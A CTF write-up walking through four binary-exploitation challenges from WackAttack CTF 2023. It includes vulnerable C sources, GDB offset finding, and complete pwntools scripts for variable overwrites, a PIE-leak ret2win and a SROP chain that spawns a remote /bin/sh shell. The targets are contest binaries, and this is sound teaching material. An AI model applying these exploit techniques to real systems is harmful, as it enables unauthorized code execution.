Home WackAttack CTF 2023
Post
Cancel

WackAttack CTF 2023

26th of October to 29th of October the norwegian CTF team WackAttack organized a CTF. The following writeups are for 4 out of 7 pwn challenges I solved during the competition.

Welcome

Challenge

1
2
3
4
5
loevland@hp-envy:~/ctf/wackattack/pwn/welcome$ ./welcome
Welcome to pwn!!!!
What would you like to say? (no more than 28 characters please)
asd
Thank you for your comment! Have a great day.

The protections on the binary are

1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/welcome$ pwn checksec ./welcome
[*] '/home/loevland/ctf/wackattack/pwn/welcome/welcome'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We are also given the source code for the binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>

void win() {
    char flag[100] = {0};
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 100, fd);
    puts(flag);
}

int main() {
        setbuf(stdout, NULL);
        char buf[28];
        int admin = 0;
        puts("Welcome to pwn!!!!");
        puts("What would you like to say? (no more than 28 characters please)");

        gets(buf);
        if (admin) {
                puts("Oh you are a ctf admin? Here you go:");
                win();
                exit(0);
        }
        puts("Thank you for your comment! Have a great day.");
        exit(0);
}

There is no canary in the binary, and we can from the source code see that gets is called, which calls for a buffer overflow. We also see that admin=0, but it has to be not 0 to let us get the flag.

The buffer is only 28-bytes in size, so if we send 29 bytes we start overwriting the admin variable.

Sending 29 characters gives us the flag

1
2
3
4
5
Welcome to pwn!!!!
What would you like to say? (no more than 28 characters please)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Oh you are a ctf admin? Here you go:
wack{h4v3_fun_4nd_br34k_stuff}

Matches

Challenge

1
2
3
4
5
6
7
8
9
10
loevland@hp-envy:~/ctf/wackattack/pwn/matches$ ./matches
Welcome, please set some variables.
first number:
1
another number:
2
and then a string:
abc
num1: 1, num2: 2, string: abc
Thank you for your service

The program asks for two numbers, and a string.

The protections on the binary are

1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/matches$ pwn checksec matches
[*] '/home/loevland/ctf/wackattack/pwn/matches/matches'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We are also given the source code for the binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>

void main() {
    setbuf(stdout, NULL);
    unsigned int num1;
    unsigned int num2;
    char str3[64];

    puts("Welcome, please set some variables.");
    puts("first number: ");
    scanf("%d", &num1);
    puts("another number: ");
    scanf("%d", &num2);

    if (num1 > 1000 || num2 > 1000) {
        puts("I can't handle numbers larger than 1000!");
        exit(0);
    }
    puts("and then a string: ");
    scanf("%s", &str3);

    if (num1 == 0xcafebabe && num2 == 0xdeadbeef) {
        puts("Congratulations! Here is your flag: ");
        system("cat flag.txt");
    } else {
        printf("num1: %d, num2: %d, string: %s\n", num1, num2, str3);
        puts("Thank you for your service");
    }
    exit(0);
}

To get the flag we must give num1 the value 0xcafebabe and num2 the value 0xdeadbeef, however there is an if-check which doesn’t allow us to give num1 and num2 values over 1000.

Luckily, this line of code allows for a buffer overflow, because %s in scanf doesn’t have a boundary check

1
scanf("%s", &str3);

Since we have a buffer overflow with scanf, we can change the values of num1 and num2 after we have given them their initial values.

First we need to find the offsets to num1 and num2, which we do by sending a cyclic pattern as our 3rd input. If we break in GDB at the if-check, we will be able to see what part of the cyclic pattern num1 and num2 are, giving us their offsets

1
2
3
4
5
6
7
8
9
10
11
pwndbg> r
Starting program: /home/loevland/ctf/wackattack/pwn/matches/matches
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome, please set some variables.
first number:
1
another number:
1
and then a string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaa

When we hit the breakpoints we see the following values being compared to num1 and num2: 0x61616174 and 0x61616173(if you don’t pass the first check the program will stop instead of go to the next breakpoint, but we can prevent this with GDB by jumping to the next comparison in the if-check instead).

Looking up the offset in the cyclic pattern, cyclic -n 4 -l <num1 or num2>, we find that the offset to the value of num2 is 72, and the offset to num1 is 76.

We can then construct a payload which looks like the following

1
2
3
payload = b"A" * 72        # Offset to num2
payload += p32(0xdeadbeef) # Num2
payload += p32(0xcafebabe) # Num1

The full exploit script is

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

io = remote("20.251.64.64", 1031)
io.recvuntil(b"number:")
io.sendline(b"1")
io.recvuntil(b"number:")
io.sendline(b"2")
io.recvuntil(b"string:")

payload = b"A"*72
payload += p32(0xdeadbeef)
payload += p32(0xcafebabe)

io.sendline(payload)
io.interactive()
1
2
3
4
5
loevland@hp-envy:~/ctf/wackattack/pwn/matches$ python3 solve.py
[+] Opening connection to 20.251.64.64 on port 1031: Done
[*] Switching to interactive mode
Congratulations! Here is your flag:
wack{sc4anf_is_gets?}

Leak

Challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
loevland@hp-envy:~/ctf/wackattack/pwn/leak$ ./leak
Hope you're having a great day!
Please input you favorite number
13
The numbers are:
1: 0xcafebabe
2: 0xdeadbeef
3: 0xc0ffee
4: 0xd
5: 0x55b015f11d78

Which of these numbers was your favorite? (1-5)
5
What? You really should remember your FAVORITE number!!

We are asked for 2 nubmers by the program: First our favorite number, then which of the 5 alternatives were our favorite number.

The protections on the binary are

1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/leak$ pwn checksec leak
[*] '/home/loevland/ctf/wackattack/pwn/leak/leak'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We are not given the source code for this binary, so we have to reverse it, giving us the following (cleaned up) functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main(int argc, const char **argv, const char **envp){
  char s1[2] = {0};
  unsigned int v5;
  unsigned int v6 = 0xc0ffee;
  unsigned int v7 = 0xdeadbeef;
  unsigned int v8 = 0xcafebabe;

  setbuf(stdout, 0);
  puts("Hope you're having a great day!");
  puts("Please input you favorite number");
  __isoc99_scanf("%d", &v5);
  getchar();

  puts("The numbers are:");
  printf("1: 0x%x \n2: 0x%x \n3: 0x%x \n4: 0x%x \n5: %20$p\n\n", v8, v7, v6, v5);
  puts("Which of these numbers was your favorite? (1-5)");
  gets(s1);

  if (!strcmp(s1, "4"))
    maybe_win();
  else
    puts("What? You really should remember your FAVORITE number!!");
  return 0;
}

int maybe_win()
{
  puts("Thats right!");
  return 0;
}

There is also a function dont_look which is not called from anywhere. The cleaned up version of the function looks like this, and it prints the flag to us

1
2
3
4
5
6
7
8
9
10
11
int dont_look(){
  char flag[100];
  FILE *flag_file;

  puts("nothing to see here...");
  sleep(5);
  memset(flag, 0, sizeof(flag));
  flag_file = fopen("flag.txt", "r");
  fgets(flag, 100, flag_file);
  return puts(flag);
}

We see a gets function call in main, which indicates a buffer overflow. However, from running checksec we know that PIE is enabled, which prevents us from knowing the address of the binary, so we don’t know the address of the function dont_look either then(which the goal for us is to call).

We need a leak of a binary address before we can perform ret2win, which consists of overflowing the buffer to overwrite the return address stored on the stack with the function we want to call.

Luckily, this line of code provides us with the leak we need

1
printf("1: 0x%x \n2: 0x%x \n3: 0x%x \n4: 0x%x \n5: %20$p\n\n", v8, v7, v6, v5);

In option 5 we see that %20$p is printed, instead of the value of a variable. %20$p is a format specifier in C, and this one specifically will print the hexadecimal values of the address stored on the stack at index 20. We can inspect where this address is located (e.g. in the binary, libc, heap, etc.)

1
2
3
4
5
6
7
<...>
The numbers are:
1: 0xcafebabe
2: 0xdeadbeef
3: 0xc0ffee
4: 0x1
5: 0x555555557d78

The GDB output shows us that this address is a binary leak

1
2
3
4
pwndbg> vmmap 0x555555557d78
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555557000     0x555555558000 r--p     1000   2000 /home/loevland/ctf/wackattack/pwn/leak/leak +0xd78

We can use this leak to find the base address of the binary

1
2
3
4
pwndbg> piebase
Calculated VA from /home/loevland/ctf/wackattack/pwn/leak/leak = 0x555555554000
pwndbg> p/x 0x555555557d78-0x555555554000
$2 = 0x3d78

We now know that <leak>-0x3d78 = binary base address, and can then perform our ret2win.

Using GDB and a cyclic pattern we find the offset to the return address on the stack to be 26

GDB Offset

1
2
3
pwndbg> cyclic -l 0x6165616161616161
Finding cyclic pattern of 8 bytes: b'aaaaaaea' (hex: 0x6161616161616561)
Found at offset 26

We get the following solve script performing our ret2win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

exe = context.binary = ELF('./leak', checksec=False)
io = remote("20.100.164.71", 1024)

io.recvuntil(b"number")
io.sendline(b"1")
io.recvuntil(b"5: ")

leak = int(io.recvline()[:-1], 16) # Get binary address leak from option 5
piebase = leak - 0x3d78
exe.address = piebase
log.success(f"Leak: {hex(leak)}")
log.success(f"Piebase: {hex(piebase)}")

io.recvuntil(b"1-5)")

# Ret2win payload
payload = b"A"*26
payload += pack(exe.sym.dont_look) # Overwrite the return address with the function printing us the flag

io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
loevland@hp-envy:~/ctf/wackattack/pwn/leak$ python3 exploit.py
[+] Opening connection to 20.100.164.71 on port 1024: Done
[+] Leak: 0x558eef534d78
[+] Piebase: 0x558eef531000
[*] Switching to interactive mode

What? You really should remember your FAVORITE number!!
nothing to see here...
wack{w0w_y0u_l3aked_m3}

Sigwhat

Challenge

1
2
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ ./sigwhat
n00b, you can't even run /bin/sh

We are asked for some input after the printed message.

The protections on the binary are

1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ pwn checksec sigwhat
[*] '/home/loevland/ctf/wackattack/pwn/sigwhat/sigwhat'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Almost everything is disabled, which is not very common.

We are given the source code for the binary, but it doesn’t really help us that much

1
2
3
4
5
6
7
8
const int main[] = {
        -443987883, 440, 114432, -1924661248,
        8757, 2144768, 84869120, 184,
        48896, -1991770112, -293386010, 32815624,
        84869120, 1858296003, 744632368, 1970239776,
        1851876128, 1696625703, 544105846, 544109938,
        1852400175, 6845231, -1017278464
};

We will have to reverse the binary to understand what is going on under the hood, which reveals the following assembly code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.rodata:0000000000400540 main:                                   ; DATA XREF: _start+1D↑o
.rodata:0000000000400540                 push    rbp
.rodata:0000000000400541                 mov     rbp, rsp
.rodata:0000000000400544                 mov     eax, 1
.rodata:0000000000400549                 mov     edi, 1
.rodata:000000000040054E                 lea     rsi, aN00bYouCanTEve ; "n00b, you can't even run /bin/sh"
.rodata:0000000000400555                 mov     edx, 20h ; ' '
.rodata:000000000040055A                 syscall                 ; LINUX - sys_write
.rodata:000000000040055C                 mov     eax, 0
.rodata:0000000000400561                 mov     edi, 0
.rodata:0000000000400566                 mov     rsi, rsp
.rodata:0000000000400569                 sub     rsi, 8
.rodata:000000000040056D                 mov     edx, 1F4h
.rodata:0000000000400572                 syscall                 ; LINUX - sys_read
.rodata:0000000000400574                 retn

There are two syscall instructions, which means that two “functions” are being called. Before the first syscall we see that the following instructions are executed(the push and move before these we can ignore, as those instructions exist each time a function is entered, in this case main)

1
2
3
4
mov eax, 1
mov edi, 1
lea rsi, aN00bYouCanTEve
mov edx, 0x20

When a syscall instruction is executed, the value in eax indicates what function is being called. We can find a list of the Linux System Call Table here, where we see that having the value 1 in eax makes the syscall execute sys_write. Using the same system call table we can see that edi contains the file-descriptor the text is written to, which in this case is stdout (because stdin=0, stdout=1 and stderr=2). In the rsi register we have the text to be printed, and in edx we have the number of bytes to be printed. The syscall instruction can be seen as a way to execute the function we specify in eax (in this case sys_write).

If we look at the next instructions before the 2nd syscall, we can use the same System Call Table to figure out what it does

1
2
3
4
5
6
mov eax, 0     ; sys_read
mov edi, 0     ; stdin
mov rsi, rsp   ; Load stack pointer in rsi
sub rsi, 8     ; Subtract 8 from value in rsi
mov edx, 0x1F4 ; Read 0x1F4 bytes
syscall

We can see that the second syscall calls sys_read, which is a way of reading input. The input is collected from stdin (edi=0), which is where we provide our input from (aka the terminal). Our input is placed on the stack (value of rsi), and we can provide 0x1f4(500) bytes(edx=0x1F4).

Now that we know what the program does, what happens if we give it a cyclic pattern of 500 bytes?

Well, it crashes at the address 0x6161616161616162, which means that after 8 bytes of input we overwrite the return address stored on the stack.

Compared to the previous challenges we did, there is no win function, so how do we get the flag?

The clue lies in that we have syscall, and the challenge name sigwhat. There is a technique called Sigreturn Oriented Programming (SROP) which we can use. TLDR of the exploit is that we can create a fake sigcontext structure on the stack, where we give the registers the values we want, and when a sigreturn call happens the context of the registers are restored from the stack with the values stored in this structure.

As we can overwrite the return address stored on the stack, essentially execute almost anything we want, we can force the sigreturn call to restore the registers with our fake structure. This is done by calling the syscall instruction with the value 0xf(15) stored in the rax register. If our fake structure is stored on the stack after those instructions it will be used to restore the context of all the registers. This allows us to call sys_execve with the address of /bin/sh in the rdi register, which essentially is like calling system("/bin/sh"), giving us shell on the remote machine(this all will make more sense once we assemble our payload).

We start by creating our fake structure using pwntools’ SigreturnFrame.

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rax = 0x3b         # rax = sys_execve
frame.rdi = 0x400590     # rdi = Address of the string "/bin/sh"
frame.rsi = 0x0          # rdi = 0
frame.rdx = 0x0          # rdx = 0
frame.rip = syscall      # Execute sys_execve("/bin/sh", 0, 0) to get shell

We found the address of /bin/sh using GDB. When we run the program, and break with CTRL+C we can search for the string to find its address (since PIE is disabled it will be constant for each run)

1
2
3
4
5
pwndbg> search /bin/sh
Searching for value: '/bin/sh'
sigwhat         0x400590 0x68732f6e69622f /* '/bin/sh' */
sigwhat         0x600590 0x68732f6e69622f /* '/bin/sh' */
libc.so.6       0x7ffff7f5f698 0x68732f6e69622f /* '/bin/sh' */

The first one is inside the binary itself, and not libc, so we use that one, since ASLR will change the addresses in libc.

We also need to know the address of the syscall gadget, which we can find with ROPgadget

1
2
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ ROPgadget --binary ./sigwhat | grep ": syscall"
0x000000000040055a : syscall

Now that we have created our fake frame, the last step is to create a payload which calls sys_rt_sigreturn to restore registers with the values in our frame.

We start with adding random bytes until we hit the return address, which is after we have supplied 8 bytes (which we found with the cyclic pattern and GDB).

1
payload = b"A" * 8

We know that eax must contain the value 0xf(15). We can use the pop rax gadget to move the value 15 into the eax register, which we find the address of by using the same method as we did when we found the address of syscall

1
2
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ ROPgadget --binary ./sigwhat | grep ": pop rax"
0x0000000000400575 : pop rax ; ret

So our payload is updated to

1
2
3
payload = b"A" * 8
payload += p64(pop_rax)
payload += p64(0xf)

We then want to use syscall to perform the sigreturn, with our fake structure being next on the stack, updating our payload to

1
2
3
4
5
payload = b"A" * 8
payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall) # Execute the sigreturn
payload += bytes(frame) # Our fake structure that will populate the registers

The full exploit script is the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

exe = context.binary = ELF("./sigwhat", checksec=False)
io = remote("20.100.146.44", 1040)

syscall = 0x40055a
pop_rax = 0x400575

# Fake structure which will restore the registers after sigreturn
frame = SigreturnFrame()
frame.rax = 0x3b         # rax = sys_execve
frame.rdi = 0x400590     # rdi = Address of the string "/bin/sh"
frame.rsi = 0x0          # rdi = 0
frame.rdx = 0x0          # rdx = 0
frame.rip = syscall      # Execute sys_execve("/bin/sh", 0, 0) to get shell

# Payload calling sigreturn and placing our fake structure next on the stack
payload = b"A" * 8
payload += pack(pop_rax)
payload += p64(0xf)
payload += p64(syscall) # Execute the sigreturn
payload += bytes(frame) # Our fake structure that will populate the registers

io.recvuntil(b"/sh")
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
loevland@hp-envy:~/ctf/wackattack/pwn/sigwhat$ python3 exploit.py
[+] Opening connection to 20.100.146.44 on port 1040: Done
[*] Switching to interactive mode
$ ls
flag.txt
sigwhat
ynetd
$ cat flag.txt
wack{s1gr3turn_4nd_0bfu5c4t10n_1n_0n3_ch4ll}
This post is licensed under CC BY 4.0 by the author.